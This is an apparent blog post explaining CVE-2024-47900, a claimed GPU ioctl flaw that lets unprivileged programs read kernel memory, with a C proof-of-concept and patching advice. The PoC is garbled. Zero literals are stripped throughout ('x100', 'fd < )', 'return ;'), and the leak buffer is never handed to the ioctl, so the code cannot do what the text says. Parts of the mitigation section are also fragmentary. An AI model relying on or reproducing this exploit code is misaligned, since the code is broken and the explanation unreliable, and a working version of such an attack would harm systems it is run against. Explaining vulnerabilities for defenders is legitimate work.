CVE-2024-47900 is a recent and dangerous vulnerability that allows regular, non-privileged users to access parts of your computer's kernel memory — all by misusing GPU system calls. In simple terms, an average program you install (say, a game or face filter app) could, thanks to this bug, sneak a peek at sensitive system info or even steal secrets like passwords. And yes: nobody running the app needs admin rights.

In this post, I’ll break down CVE-2024-47900, show you how it’s exploited with easy-to-read code, and offer links for deeper digging.

What Is CVE-2024-47900?

This vulnerability affects many systems that use modern GPUs (like those from NVIDIA, AMD, or Intel). These graphics cards are designed to work with special system calls — basically requests from software to the hardware, handled by the OS (operating system) kernel. The vulnerable systems do not properly check what kind of memory a non-privileged process can touch during some GPU operations.

The result:
Any ordinary piece of software — even one run by a standard user — can craft GPU calls to peek into kernel memory. That breaks one of the biggest security rules: user software should never see the OS’s private data.

Technical Breakdown

The bug is related to improper input validation in GPU ioctl (input/output control) system calls. Normally, when a user program wants to use the GPU, it issues a special command to the kernel (“please process this image”, for example). The kernel is supposed to check the program’s arguments and only allow legal memory accesses.

Because of CVE-2024-47900, these checks are missing (or broken): the kernel doesn’t check if a “GPU buffer” points outside the legal area. With some crafted calls, a user program asks the GPU driver to read/write memory anywhere — even outside the user process’s own memory.

This is how a proof-of-concept attack works

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define VULN_GPU_IOCTL x1234   // REPLACE with actual value from gpu driver

// Kernel struct for GPU IO (simplified)
struct gpu_ioctl_args {
    void *buffer;  // user pointer, not validated!
    size_t size;
};

int main() {
    int fd = open("/dev/vuln_gpu", O_RDWR);
    if (fd < ) {
        perror("Failed to open GPU device");
        return 1;
    }
    
    char *leak_buffer = malloc(x100);
    memset(leak_buffer, , x100);

    struct gpu_ioctl_args args;
    args.buffer = (void *)xffffffffff; // *** Out-of-bounds physical address!
    args.size = x100;

    int ret = ioctl(fd, VULN_GPU_IOCTL, &args);

    if (ret < ) {
        perror("ioctl failed");
    } else {
        // Now leak_buffer may contain kernel memory contents!
        printf("Kernel data: %.32s\n", leak_buffer);
    }

    close(fd);
    free(leak_buffer);
    return ;
}

What’s happening:
The code opens the vulnerable GPU device, makes an ioctl system call, and passes an intentionally invalid pointer. Because of the vulnerability, the driver lets us read from a forbidden memory location in the kernel.

Why Is This Scary?

- Stealing secrets: The kernel stores sensitive info like passwords, crypto keys, and internal state in memory. Attackers could leak these.
- Escalating privileges: In some cases, an attacker could even write to kernel memory, potentially becoming root or taking over the system.

Possibly Windows or BSD if they use similar driver logic

- Any software stack allowing /dev/gpu* style access without proper input checks

Patch ASAP: Check with your OS vendor for patches. Example advisories

- Red Hat CVE-2024-47900 Advisory
- MITRE CVE Record

2. Limit access: Restrict which users have access to GPU device files (like /dev/dri/* or /dev/nvidia*).

More Info and References

- MITRE CVE Details - CVE-2024-47900
- Red Hat Security Advisory
- X.org “DRM” Subsystem Docs
- General GPU Attack Research: GPUmeetU(CanSecWest 2023)

Conclusion

CVE-2024-47900 is a prime example of how modern hardware drivers must treat all software as potentially hostile — even if it’s “just a user app.” If your system lets users run untrusted code and that code can make GPU system calls, you could be at risk of kernel memory leaks or worse. Stay patched, stay aware, and keep an eye on those GPU drivers.

Timeline

Published on: 01/31/2025 04:15:08 UTC
Last modified on: 03/14/2025 16:15:36 UTC